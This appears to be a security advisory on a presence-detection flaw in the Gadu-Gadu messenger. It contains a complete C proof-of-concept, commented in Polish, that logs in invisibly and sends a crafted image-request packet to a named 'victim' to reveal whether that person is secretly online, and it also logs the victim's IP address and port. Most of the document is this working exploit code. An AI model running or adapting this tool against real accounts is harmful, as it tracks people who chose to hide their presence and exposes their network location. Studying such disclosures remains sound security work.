Gadu-Gadu Invisible Users Detection VulnerabilitySummary
Gadu-Gadu is an instant messaging program that is popular in Poland.
A flaw in Gadu-Gadu allows users of the program to detect the presence of users that have made themselves invisible.
Credit:
The information has been provided by Maciej Soltysiak.
Details
It was recently announced that the authors of Gadu-Gadu have fixed the vulnerability in their servers that was used by software plugins such as like "Inwigilator" to detect whether a user of the IM program is Unavailable or Invisible.
It would appear that it is *still* possible to detect whether the user is invisible.
References:
[1] http://soltysiak.com/articles/gg_ir.php
[2] http://www.soltysiak.com/gadu.c
[3] http://dev.null.pl/ekg/
Compiled POC allows you to try to detect the invisible user:
# ./gadu <your_uin> <your_password> <victim_uin>
gadu_connect: success.
Gosciu jest online!
gadu_disconnect
This shows that <victim_uin> is online. If seems unavailable it means they are invisible.
The conditions remain constant:
- the victim must have you listed in their address book
- the victim must have image messages enabled (that is the minimum size > 0)
Exploit:
/*
* Wykrywanie niewidzialnosci w Gadu-Gadu
* Maciej Soltysiak <maciej@soltysiak.com>
*
* Program wymaga libgadu
*
* compile:
* gcc -o gadu gadu.c -lgadu
* Jak buczy o ssl to dodaj -lssl
*
* use:
* ./gadu <uin> <haslo> <ofiara>
*
* Wymagania:
* - ofiara musi miec uin w kontaktach
* - ofiara musi obslugiwac wiadomosci obrazkowe (miec limit rozmiaru > 0)
*
* Jesli chcesz zastosowac te metode w swoim programie pamietaj, ze
* jest to kod dystrybuowany na licencji:
* Creative Commons Uznanie autorstwa-Na tych samych warunkach 2.0
* http://creativecommons.org/licenses/by-sa/2.0/pl/
*
* Nie pytaj mnie jak to skompilowac pod windows!
* ctrl+c przerywa program, wylogowujac sie ladnie.
*
* Program uzywa do logowania rozszerzenia GNU vasprintf() jak Ci
* to nie pasuje przepisz kod. Ja bylem leniwy.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#include <libgadu.h>
#include <signal.h>
static inline void log_simple(const char *txt)
{
fprintf(stderr, "%s\n", txt);
}
void log_string(const char *fmt, ...)
{
char *buf;
va_list args;
int n;
va_start(args, fmt);
n = vasprintf(&buf, fmt, args);
va_end(args);
if (n >= 0)
{
if (fprintf(stderr, "%s\n", buf) < 0)
log_simple("log_string: fprintf returned an error");
free(buf);
}
else
log_simple("log_string: vasprintf failed");
return;
}
/* Global Gadu-Gadu handle */
struct gg_session *gadu_sess = NULL;
#define GG_CONN_TIMEOUT 10
static inline void gadu_disconnect(void)
{
if (gadu_sess != NULL)
{
log_simple("gadu_disconnect");
gg_logoff(gadu_sess);
gg_free_session(gadu_sess);
}
exit(1);
}
static void init_signals(void)
{
struct sigaction sigact;
sigact.sa_flags = SA_NODEFER;
sigact.sa_handler = (void *) gadu_disconnect;
sigemptyset(&sigact.sa_mask);
sigaction(SIGTERM, &sigact, NULL);
sigaction(SIGHUP, &sigact, NULL);
sigaction(SIGQUIT, &sigact, NULL);
sigaction(SIGINT, &sigact, NULL);
}
static inline void gadu_connect(int uin, char *pass)
{
struct gg_login_params gadu_p;
fd_set rd, wd;
struct gg_event *e;
struct timeval tv;
int ret;
memset(&gadu_p, 0, sizeof(gadu_p));
gadu_p.uin = uin;
gadu_p.password = pass;
gadu_p.async = 1;
gadu_sess = gg_login(&gadu_p);
for (;;) {
FD_ZERO(&rd);
FD_ZERO(&wd);
if ((gadu_sess->check & GG_CHECK_READ))
FD_SET(gadu_sess->fd, &rd);
if ((gadu_sess->check & GG_CHECK_WRITE))
FD_SET(gadu_sess->fd, &wd);
tv.tv_sec = GG_CONN_TIMEOUT;
tv.tv_usec = 0;
ret = select(gadu_sess->fd + 1, &rd, &wd, NULL, &tv);
if (!ret) {
gadu_disconnect();
} else {
if (gadu_sess && (FD_ISSET(gadu_sess->fd, &rd) || FD_ISSET(gadu_sess->fd, &wd))) {
if (!(e = gg_watch_fd(gadu_sess))) {
log_simple("gadu_connect: connection lost!");
gadu_disconnect();
}
if (e->type == GG_EVENT_CONN_SUCCESS) {
log_simple("gadu_connect: success.");
gg_free_event(e);
break;
}
if (e->type == GG_EVENT_CONN_FAILED) {
log_simple("gadu_connect: failed.");
gg_free_event(e);
gadu_disconnect();
}
gg_free_event(e);
}
}
}
gg_change_status(gadu_sess, GG_STATUS_INVISIBLE);
}
static inline void update_gadu(void)
{
struct gg_event *e;
if ((e = gg_watch_fd(gadu_sess)))
{
switch(e->type)
{
case GG_EVENT_IMAGE_REQUEST:
log_simple("Gosciu jest online!");
break;
case GG_EVENT_NOTIFY60:
log_string("notify: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
e->event.notify60->uin,
e->event.notify60->status,
e->event.notify60->remote_ip & 0xff,
(e->event.notify60->remote_ip >> 8) & 0xff,
(e->event.notify60->remote_ip >> 16) & 0xff,
e->event.notify60->remote_ip >> 24,
e->event.notify60->remote_port,
e->event.notify60->version,
e->event.notify60->descr);
break;
case GG_EVENT_STATUS60:
log_string("status: %d %d %d.%d.%d.%d %d %d '%s'\r\n",
e->event.status60.uin,
e->event.status60.status,
e->event.status60.remote_ip & 0xff,
(e->event.status60.remote_ip >> 8) & 0xff,
(e->event.status60.remote_ip >> 16) & 0xff,
e->event.status60.remote_ip >> 24,
e->event.status60.remote_port,
e->event.status60.version,
e->event.status60.descr);
break;
case GG_EVENT_DISCONNECT:
gadu_disconnect();
case GG_EVENT_ACK:
log_string("update_gg: ACK from %d. %d %d\r\n",
e->event.ack.recipient,
e->event.ack.status,
e->event.ack.seq);
break;
}
}
gg_free_event(e);
}
int main(int argc, char *argv[])
{
uin_t v_uin; /* victim */
uin_t a_uin; /* attacker */
if (argc != 4)
{
log_simple("skladnia: gadu <twoj_uin> <twoje_haslo> <uin_ofiary>\n" \
"Pamietaj wylogowac sie ze swojegu uina z gadu.");
return 0;
}
if ((a_uin = atoi(argv[1])) <= 0)
{
log_simple("Podaj twoj poprawny numer.");
return 0;
}
if ((v_uin = atoi(argv[3])) > 0)
{
/*
* ethereal + tcpdump rzadza !
*/
unsigned char code[] = { 0x00, 0x02, 0x0d, 0x00, 0x00, 0x00, 0x80, 0x09, 0x01, 0xaf, 0xa8, 0x00, 0x00, 0x9f, 0xc1, 0xee, 0x84 };
init_signals();
gadu_connect(a_uin, argv[2]);
gg_notify(gadu_sess, &v_uin, sizeof(uin_t));
gg_send_message_ctcp(gadu_sess, 0x28, v_uin, code, sizeof(code));
for(;;)
update_gadu();
}
return 0;
}